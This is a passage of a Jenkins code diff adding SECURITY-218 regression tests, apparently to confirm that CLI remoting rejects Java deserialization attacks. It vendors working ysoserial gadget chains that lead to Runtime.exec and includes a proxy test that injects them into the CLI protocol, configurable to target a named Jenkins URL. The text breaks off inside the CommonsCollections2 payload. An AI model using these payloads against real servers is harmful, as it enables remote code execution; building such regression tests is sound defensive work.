diff --git a/cli/src/main/java/hudson/cli/CliPort.java b/cli/src/main/java/hudson/cli/CliPort.java
index 1507704d9c0e79dc40c88aa25d8bbe369c159e2a..8faab7de41bee0c88fa90cdaa0cbb8c9599f6a97 100644
--- a/cli/src/main/java/hudson/cli/CliPort.java
+++ b/cli/src/main/java/hudson/cli/CliPort.java
@@ -11,7 +11,7 @@ import java.security.spec.X509EncodedKeySpec;
/**
* @author Kohsuke Kawaguchi
*/
-final class CliPort {
+public final class CliPort {
/**
* The TCP endpoint to talk to.
*/
@@ -27,7 +27,7 @@ final class CliPort {
*/
final String identity;
- CliPort(InetSocketAddress endpoint, String identity, int version) {
+ public CliPort(InetSocketAddress endpoint, String identity, int version) {
this.endpoint = endpoint;
this.identity = identity;
this.version = version;
diff --git a/pom.xml b/pom.xml
index 534a20ab45a847633340393840b0151066e64519..02d41d2b86b32046e411a02f77a4b0da608ed99a 100644
--- a/pom.xml
+++ b/pom.xml
@@ -176,7 +176,7 @@ THE SOFTWARE.
org.jenkins-ci.mainremoting
- 2.53-20151108.042522-3
+ 2.53
diff --git a/test/pom.xml b/test/pom.xml
index be34d90b2c38fd790793f60d51162b8a905835e4..763ec2dc432e613f5f1e32be7c1521f2cd581d4e 100644
--- a/test/pom.xml
+++ b/test/pom.xml
@@ -179,6 +179,18 @@ THE SOFTWARE.
geb-implicit-assertions0.7.2
+
+ org.javassist
+ javassist
+ 3.19.0-GA
+ test
+
+
+ org.apache.commons
+ commons-collections4
+ 4.0
+ test
+
diff --git a/test/src/test/java/jenkins/security/Security218BlackBoxTest.java b/test/src/test/java/jenkins/security/Security218BlackBoxTest.java
new file mode 100644
index 0000000000000000000000000000000000000000..c4a5b0f27502ac6e00dff99b7da62177a46c3ef8
--- /dev/null
+++ b/test/src/test/java/jenkins/security/Security218BlackBoxTest.java
@@ -0,0 +1,300 @@
+/*
+ * The MIT License
+ *
+ * Copyright 2015 CloudBees, Inc.
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ * THE SOFTWARE.
+ */
+
+package jenkins.security;
+
+import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException;
+import hudson.cli.CLI;
+import hudson.cli.CliPort;
+import hudson.remoting.BinarySafeStream;
+import hudson.util.DaemonThreadFactory;
+import java.io.ByteArrayOutputStream;
+import java.io.DataOutputStream;
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.net.HttpURLConnection;
+import java.net.InetSocketAddress;
+import java.net.ServerSocket;
+import java.net.Socket;
+import java.net.URL;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import jenkins.security.security218.ysoserial.payloads.CommonsCollections1;
+import jenkins.security.security218.ysoserial.util.Serializables;
+import static org.junit.Assert.*;
+import org.junit.Test;
+import org.junit.Rule;
+import org.jvnet.hudson.test.JenkinsRule;
+import org.jvnet.hudson.test.recipes.PresetData;
+
+public class Security218BlackBoxTest {
+
+ private static final String overrideURL = System.getenv("VICTIM_JENKINS_URL");
+ private static final String overrideHome = System.getenv("VICTIM_JENKINS_HOME");
+ static {
+ assertTrue("$JENKINS_URL and $JENKINS_HOME must both be defined together", (overrideURL == null) == (overrideHome == null));
+ }
+
+ private static final ExecutorService executors = Executors.newCachedThreadPool(new DaemonThreadFactory());
+
+ @Rule
+ public JenkinsRule r = new JenkinsRule();
+
+ @SuppressWarnings("deprecation") // really mean to use getPage(String)
+ @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) // TODO userContent inaccessible without authentication otherwise
+ @Test
+ public void probe() throws Exception {
+ JenkinsRule.WebClient wc = r.createWebClient();
+ final URL url = overrideURL == null ? r.getURL() : new URL(overrideURL);
+ wc.getPage(url + "userContent/readme.txt");
+ try {
+ wc.getPage(url + "userContent/pwned");
+ fail("already compromised?");
+ } catch (FailingHttpStatusCodeException x) {
+ assertEquals(404, x.getStatusCode());
+ }
+ for (int round = 0; round < 2; round++) {
+ final int _round = round;
+ final ServerSocket proxySocket = new ServerSocket(0);
+ executors.submit(new Runnable() {
+ @Override
+ public void run() {
+ try {
+ Socket proxy = proxySocket.accept();
+ HttpURLConnection conn = (HttpURLConnection) url.openConnection();
+ String host = conn.getHeaderField("X-Jenkins-CLI-Host");
+ Socket real = new Socket(host == null ? url.getHost() : host, conn.getHeaderFieldInt("X-Jenkins-CLI-Port", -1));
+ final InputStream realIS = real.getInputStream();
+ final OutputStream realOS = real.getOutputStream();
+ final InputStream proxyIS = proxy.getInputStream();
+ final OutputStream proxyOS = proxy.getOutputStream();
+ executors.submit(new Runnable() {
+ @Override
+ public void run() {
+ try {
+ // Read up to \x00\x00\x00\x00, end of header.
+ int nullCount = 0;
+ ByteArrayOutputStream buf = new ByteArrayOutputStream();
+ int c;
+ while ((c = realIS.read()) != -1) {
+ proxyOS.write(c);
+ buf.write(c);
+ if (c == 0) {
+ if (++nullCount == 4) {
+ break;
+ }
+ } else {
+ nullCount = 0;
+ }
+ }
+ System.err.print("← ");
+ display(buf.toByteArray());
+ System.err.println();
+ // Now assume we are in chunked transport.
+ PACKETS: while (true) {
+ buf.reset();
+ //System.err.println("reading one packet");
+ while (true) { // one packet, ≥1 chunk
+ //System.err.println("reading one chunk");
+ int hi = realIS.read();
+ if (hi == -1) {
+ break PACKETS;
+ }
+ proxyOS.write(hi);
+ int lo = realIS.read();
+ proxyOS.write(lo);
+ boolean hasMore = (hi & 0x80) > 0;
+ if (hasMore) {
+ hi &= 0x7F;
+ }
+ int len = hi * 0x100 + lo;
+ //System.err.printf("waiting for %X bytes%n", len);
+ for (int i = 0; i < len; i++) {
+ c = realIS.read();
+ proxyOS.write(c);
+ buf.write(c);
+ }
+ if (hasMore) {
+ continue;
+ }
+ System.err.print("← ");
+ byte[] data = buf.toByteArray();
+ //display(data);
+ showSer(data);
+ System.err.println();
+ break;
+ }
+ }
+ } catch (IOException x) {
+ x.printStackTrace();
+ }
+ }
+ });
+ executors.submit(new Runnable() {
+ @Override
+ public void run() {
+ try {
+ ByteArrayOutputStream buf = new ByteArrayOutputStream();
+ ByteArrayOutputStream toCopy = new ByteArrayOutputStream();
+ int c;
+ int nullCount = 0;
+ while ((c = proxyIS.read()) != -1) {
+ toCopy.write(c);
+ buf.write(c);
+ if (c == 0) {
+ if (++nullCount == 4) {
+ break;
+ }
+ } else {
+ nullCount = 0;
+ }
+ }
+ if (_round == 0) {
+ System.err.println("injecting payload into capability negotiation");
+ // replacing \x00\x14Protocol:CLI-connect<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAP4=\x00\x00\x00\x00
+ new DataOutputStream(realOS).writeUTF("Protocol:CLI-connect"); // TCP agent protocol
+ byte[] PREAMBLE = "<===[JENKINS REMOTING CAPACITY]===>".getBytes("UTF-8"); // Capability
+ realOS.write(PREAMBLE);
+ OutputStream bss = BinarySafeStream.wrap(realOS);
+ bss.write(payload());
+ bss.flush();
+ } else {
+ System.err.print("→ ");
+ display(buf.toByteArray());
+ System.err.println();
+ realOS.write(toCopy.toByteArray());
+ }
+ int packet = 0;
+ PACKETS: while (true) {
+ buf.reset();
+ toCopy.reset();
+ while (true) {
+ int hi = proxyIS.read();
+ if (hi == -1) {
+ break PACKETS;
+ }
+ toCopy.write(hi);
+ int lo = proxyIS.read();
+ toCopy.write(lo);
+ boolean hasMore = (hi & 0x80) > 0;
+ if (hasMore) {
+ hi &= 0x7F;
+ }
+ int len = hi * 0x100 + lo;
+ for (int i = 0; i < len; i++) {
+ c = proxyIS.read();
+ toCopy.write(c);
+ buf.write(c);
+ }
+ if (hasMore) {
+ continue;
+ }
+ if (++packet == _round) {
+ System.err.println("injecting payload into packet");
+ byte[] data = payload();
+ realOS.write(data.length / 256);
+ realOS.write(data.length % 256);
+ realOS.write(data);
+ } else {
+ System.err.print("→ ");
+ byte[] data = buf.toByteArray();
+ //display(data);
+ showSer(data);
+ System.err.println();
+ realOS.write(toCopy.toByteArray());
+ }
+ break;
+ }
+ }
+ } catch (Exception x) {
+ x.printStackTrace();
+ }
+ }
+ });
+ } catch (IOException x) {
+ x.printStackTrace();
+ }
+ }
+ });
+ try {
+ executors.submit(new Runnable() {
+ @Override
+ public void run() {
+ // Bypassing _main because it does nothing interesting here.
+ // Hardcoding CLI protocol version 1 (CliProtocol) because it is easier to sniff.
+ try {
+ new CLI(r.getURL()) {
+ @Override
+ protected CliPort getCliTcpPort(String url) throws IOException {
+ return new CliPort(new InetSocketAddress(proxySocket.getInetAddress(), proxySocket.getLocalPort()), /* ignore identity */ null, 1);
+ }
+ }.execute("help");
+ } catch (Exception x) {
+ x.printStackTrace();
+ }
+ }
+ }).get(5, TimeUnit.SECONDS);
+ } catch (TimeoutException x) {
+ System.err.println("CLI command timed out");
+ }
+ try {
+ wc.getPage(url + "userContent/pwned");
+ fail("Pwned!");
+ } catch (FailingHttpStatusCodeException x) {
+ assertEquals(404, x.getStatusCode());
+ }
+ }
+ }
+
+ private static synchronized void display(byte[] data) {
+ for (byte c : data) {
+ if (c >= ' ' && c <= '~') {
+ System.err.write(c);
+ } else {
+ System.err.printf("\\x%02X", c);
+ }
+ }
+ }
+
+ private static synchronized void showSer(byte[] data) {
+ try {
+ Object o = Serializables.deserialize(data);
+ System.err.print(o);
+ } catch (Exception x) {
+ System.err.printf("<%s>", x);
+ }
+ }
+
+ /** An attack payload, as a Java serialized object ({@code \xAC\ED…}). */
+ private byte[] payload() throws Exception {
+ File home = overrideHome == null ? r.jenkins.root : new File(overrideHome);
+ // TODO find a Windows equivalent
+ return Serializables.serialize(new CommonsCollections1().getObject("touch " + new File(new File(home, "userContent"), "pwned")));
+ }
+
+}
diff --git a/test/src/test/java/jenkins/security/Security218CliTest.java b/test/src/test/java/jenkins/security/Security218CliTest.java
new file mode 100644
index 0000000000000000000000000000000000000000..546cdc8fde467d4a78df969d5178f1661bd6926c
--- /dev/null
+++ b/test/src/test/java/jenkins/security/Security218CliTest.java
@@ -0,0 +1,194 @@
+/*
+ * The MIT License
+ *
+ * Copyright 2015 CloudBees, Inc.
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ * THE SOFTWARE.
+ */
+
+package jenkins.security;
+
+import hudson.cli.CLI;
+import hudson.cli.CLICommand;
+import hudson.remoting.Callable;
+import hudson.remoting.Channel;
+import java.io.File;
+import java.io.PrintStream;
+import jenkins.security.security218.Payload;
+import org.jenkinsci.remoting.RoleChecker;
+import org.junit.Test;
+import static org.junit.Assert.*;
+import org.junit.Rule;
+import org.jvnet.hudson.test.Issue;
+import org.jvnet.hudson.test.JenkinsRule;
+import org.jvnet.hudson.test.TestExtension;
+import org.jvnet.hudson.test.recipes.PresetData;
+import org.kohsuke.args4j.Argument;
+
+public class Security218CliTest {
+
+ @Rule
+ public JenkinsRule r = new JenkinsRule();
+
+ @PresetData(PresetData.DataSet.ANONYMOUS_READONLY)
+ @Test
+ @Issue("SECURITY-218")
+ public void probeCommonsCollections1() throws Exception {
+ probe(Payload.CommonsCollections1, PayloadCaller.EXIT_CODE_REJECTED);
+ }
+
+ @PresetData(PresetData.DataSet.ANONYMOUS_READONLY)
+ @Test
+ @Issue("SECURITY-218")
+ public void probeCommonsCollections2() throws Exception {
+ // The issue with CommonsCollections2 does not appear in manual tests on Jenkins, but it may be a risk
+ // in newer commons-collections version => remoting implementation should filter this class anyway
+ probe(Payload.CommonsCollections2, PayloadCaller.EXIT_CODE_REJECTED);
+ }
+
+ @PresetData(PresetData.DataSet.ANONYMOUS_READONLY)
+ @Test
+ @Issue("SECURITY-218")
+ public void probeGroovy1() throws Exception {
+ probe(Payload.Groovy1, PayloadCaller.EXIT_CODE_REJECTED);
+ }
+
+ //TODO: Fix the conversion layer (not urgent)
+ // There is an issue in the conversion layer after the migration to another XALAN namespace
+ // with newer libs. SECURITY-218 does not apper in this case in manual tests anyway
+ @PresetData(PresetData.DataSet.ANONYMOUS_READONLY)
+ @Test
+ @Issue("SECURITY-218")
+ public void probeSpring1() throws Exception {
+ probe(Payload.Spring1, -1);
+ }
+
+ private void probe(Payload payload, int expectedResultCode) throws Exception {
+ File file = File.createTempFile("security-218", payload + "-payload");
+ File moved = new File(file.getAbsolutePath() + "-moved");
+
+ // Bypassing _main because it does nothing interesting here.
+ // Hardcoding CLI protocol version 1 (CliProtocol) because it is easier to sniff.
+ int exitCode = new CLI(r.getURL()).execute("send-payload",
+ payload.toString(), "mv " + file.getAbsolutePath() + " " + moved.getAbsolutePath());
+ assertEquals("Unexpected result code.", expectedResultCode, exitCode);
+ assertTrue("Payload should not invoke the move operation " + file, !moved.exists());
+ file.delete();
+ }
+
+ @TestExtension()
+ public static class SendPayloadCommand extends CLICommand {
+
+ @Override
+ public String getShortDescription() {
+ return hudson.cli.Messages.ConsoleCommand_ShortDescription();
+ }
+
+ @Argument(metaVar = "payload", usage = "ID of the payload", required = true, index = 0)
+ public String payload;
+
+ @Argument(metaVar = "command", usage = "Command to be launched by the payload", required = true, index = 1)
+ public String command;
+
+
+ protected int run() throws Exception {
+ Payload payloadItem = Payload.valueOf(this.payload);
+ PayloadCaller callable = new PayloadCaller(payloadItem, command);
+ return channel.call(callable);
+ }
+
+ @Override
+ protected void printUsageSummary(PrintStream stderr) {
+ stderr.println("Sends a payload over the channel");
+ }
+ }
+
+ public static class PayloadCaller implements Callable {
+
+ private final Payload payload;
+ private final String command;
+
+ public static final int EXIT_CODE_OK = 0;
+ public static final int EXIT_CODE_REJECTED = 42;
+ public static final int EXIT_CODE_ASSIGNMENT_ISSUE = 43;
+
+ public PayloadCaller(Payload payload, String command) {
+ this.payload = payload;
+ this.command = command;
+ }
+
+ @Override
+ public Integer call() throws Exception {
+ final Object ysoserial = payload.getPayloadClass().newInstance().getObject(command);
+
+ // Invoke backward call
+ try {
+ Channel.current().call(new Callable() {
+ private static final long serialVersionUID = 1L;
+
+ @Override
+ public String call() throws Exception {
+ // We don't care what happens here. Object should be sent over the channel
+ return ysoserial.toString();
+ }
+
+ @Override
+ public void checkRoles(RoleChecker checker) throws SecurityException {
+ // do nothing
+ }
+ });
+ } catch (Exception ex) {
+ Throwable cause = ex;
+ while (cause.getCause() != null) {
+ cause = cause.getCause();
+ }
+
+ if (cause instanceof SecurityException) {
+ // It should happen if the remote chanel reject a class.
+ // That's what we have done in SECURITY-218 => may be OK
+ if (cause.getMessage().contains("Rejected")) {
+ // OK
+ return PayloadCaller.EXIT_CODE_REJECTED;
+ } else {
+ // Something wrong
+ throw ex;
+ }
+ }
+
+ final String message = cause.getMessage();
+ if (message != null && message.contains("cannot be cast to java.util.Set")) {
+ // We ignore this exception, because there is a known issue in the test payload
+ // CommonsCollections1, CommonsCollections2 and Groovy1 fail witth this error,
+ // but actually it means that the conversion has been triggered
+ return EXIT_CODE_ASSIGNMENT_ISSUE;
+ } else {
+ throw ex;
+ }
+ }
+ return EXIT_CODE_OK;
+ }
+
+ @Override
+ public void checkRoles(RoleChecker checker) throws SecurityException {
+ // Do nothing
+ }
+
+ }
+
+}
diff --git a/test/src/test/java/jenkins/security/security218/Payload.java b/test/src/test/java/jenkins/security/security218/Payload.java
new file mode 100644
index 0000000000000000000000000000000000000000..43dc97a995f9cc9b49c51c2c7982ca1ffb082d39
--- /dev/null
+++ b/test/src/test/java/jenkins/security/security218/Payload.java
@@ -0,0 +1,52 @@
+/*
+ * The MIT License
+ *
+ * Copyright (c) 2015 Oleg Nenashev.
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ * THE SOFTWARE.
+ */
+package jenkins.security.security218;
+
+import jenkins.security.security218.ysoserial.payloads.CommonsCollections1;
+import jenkins.security.security218.ysoserial.payloads.CommonsCollections2;
+import jenkins.security.security218.ysoserial.payloads.Groovy1;
+import jenkins.security.security218.ysoserial.payloads.ObjectPayload;
+import jenkins.security.security218.ysoserial.payloads.Spring1;
+
+
+/**
+ * Allows to select {@link ObjectPayload}s.
+ * @author Oleg Nenashev
+ */
+public enum Payload {
+ CommonsCollections1(CommonsCollections1.class),
+ CommonsCollections2(CommonsCollections2.class),
+ Groovy1(Groovy1.class),
+ Spring1(Spring1.class);
+
+ private final Class extends ObjectPayload> payloadClass;
+
+ private Payload(Class extends ObjectPayload> payloadClass) {
+ this.payloadClass = payloadClass;
+ }
+
+ public Class extends ObjectPayload> getPayloadClass() {
+ return payloadClass;
+ }
+}
diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/ExecBlockingSecurityManager.java b/test/src/test/java/jenkins/security/security218/ysoserial/ExecBlockingSecurityManager.java
new file mode 100644
index 0000000000000000000000000000000000000000..7c6a40be7d510a878a622bb7a2913e473ac1e36b
--- /dev/null
+++ b/test/src/test/java/jenkins/security/security218/ysoserial/ExecBlockingSecurityManager.java
@@ -0,0 +1,67 @@
+/*
+ * The MIT License
+ *
+ * Copyright (c) 2013 Chris Frohoff
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ * THE SOFTWARE.
+ */
+package jenkins.security.security218.ysoserial;
+
+import java.security.Permission;
+import java.util.concurrent.Callable;
+
+public class ExecBlockingSecurityManager extends SecurityManager {
+ @Override
+ public void checkPermission(final Permission perm) { }
+
+ @Override
+ public void checkPermission(final Permission perm, final Object context) { }
+
+ public void checkExec(final String cmd) {
+ super.checkExec(cmd);
+ // throw a special exception to ensure we can detect exec() in the test
+ throw new ExecException(cmd);
+ };
+
+ @SuppressWarnings("serial")
+ public static class ExecException extends RuntimeException {
+ private final String cmd;
+ public ExecException(String cmd) { this.cmd = cmd; }
+ public String getCmd() { return cmd; }
+ }
+
+ public static void wrap(final Runnable runnable) throws Exception {
+ wrap(new Callable(){
+ public Void call() throws Exception {
+ runnable.run();
+ return null;
+ }
+ });
+ }
+
+ public static T wrap(final Callable callable) throws Exception {
+ SecurityManager sm = System.getSecurityManager();
+ System.setSecurityManager(new ExecBlockingSecurityManager());
+ try {
+ return callable.call();
+ } finally {
+ System.setSecurityManager(sm);
+ }
+ }
+}
\ No newline at end of file
diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections1.java
new file mode 100644
index 0000000000000000000000000000000000000000..e4436c8752a3a7cb02b609b5c73378f62928e3da
--- /dev/null
+++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections1.java
@@ -0,0 +1,99 @@
+/*
+ * The MIT License
+ *
+ * Copyright (c) 2013 Chris Frohoff
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ * THE SOFTWARE.
+ */
+package jenkins.security.security218.ysoserial.payloads;
+
+import java.lang.reflect.InvocationHandler;
+import java.util.HashMap;
+import java.util.Map;
+import jenkins.security.security218.ysoserial.util.Gadgets;
+import jenkins.security.security218.ysoserial.util.PayloadRunner;
+import jenkins.security.security218.ysoserial.util.Reflections;
+
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.functors.ChainedTransformer;
+import org.apache.commons.collections.functors.ConstantTransformer;
+import org.apache.commons.collections.functors.InvokerTransformer;
+import org.apache.commons.collections.map.LazyMap;
+
+
+/*
+ Gadget chain:
+ ObjectInputStream.readObject()
+ AnnotationInvocationHandler.readObject()
+ Map(Proxy).entrySet()
+ AnnotationInvocationHandler.invoke()
+ LazyMap.get()
+ ChainedTransformer.transform()
+ ConstantTransformer.transform()
+ InvokerTransformer.transform()
+ Method.invoke()
+ Class.getMethod()
+ InvokerTransformer.transform()
+ Method.invoke()
+ Runtime.getRuntime()
+ InvokerTransformer.transform()
+ Method.invoke()
+ Runtime.exec()
+
+ Requires:
+ commons-collections
+ */
+@SuppressWarnings({"rawtypes", "unchecked"})
+public class CommonsCollections1 extends PayloadRunner implements ObjectPayload {
+
+ public InvocationHandler getObject(final String command) throws Exception {
+ final String[] execArgs = new String[] { command };
+ // inert chain for setup
+ final Transformer transformerChain = new ChainedTransformer(
+ new Transformer[]{ new ConstantTransformer(1) });
+ // real chain for after setup
+ final Transformer[] transformers = new Transformer[] {
+ new ConstantTransformer(Runtime.class),
+ new InvokerTransformer("getMethod", new Class[] {
+ String.class, Class[].class }, new Object[] {
+ "getRuntime", new Class[0] }),
+ new InvokerTransformer("invoke", new Class[] {
+ Object.class, Object[].class }, new Object[] {
+ null, new Object[0] }),
+ new InvokerTransformer("exec",
+ new Class[] { String.class }, execArgs),
+ new ConstantTransformer(1) };
+
+ final Map innerMap = new HashMap();
+
+ final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
+
+ final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
+
+ final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
+
+ Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
+
+ return handler;
+ }
+
+ public static void main(final String[] args) throws Exception {
+ PayloadRunner.run(CommonsCollections1.class, args);
+ }
+}
diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections2.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections2.java
new file mode 100644
index 0000000000000000000000000000000000000000..94b9afa3ee93b3a57385bd512c9addb4abfc420c
--- /dev/null
+++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections2.java
@@ -0,0 +1,77 @@
+/*
+ * The MIT License
+ *
+ * Copyright (c) 2013 Chris Frohoff
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ * THE SOFTWARE.
+ */
+package jenkins.security.security218.ysoserial.payloads;
+
+import java.util.PriorityQueue;
+import java.util.Queue;
+
+import org.apache.commons.collections4.comparators.TransformingComparator;
+import org.apache.commons.collections4.functors.InvokerTransformer;
+
+import jenkins.security.security218.ysoserial.util.Gadgets;
+import jenkins.security.security218.ysoserial.util.PayloadRunner;
+import jenkins.security.security218.ysoserial.util.Reflections;
+import org.apache.xalan.xsltc.trax.TemplatesImpl;
+
+/*
+ Gadget chain:
+ ObjectInputStream.readObject()
+ PriorityQueue.readObject()
+ ...
+ TransformingComparator.compare()
+ InvokerTransformer.transform()
+ Method.invoke()
+ Runtime.exec()
+ */
+
+@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
+public class CommonsCollections2 implements ObjectPayload> {
+
+ public Queue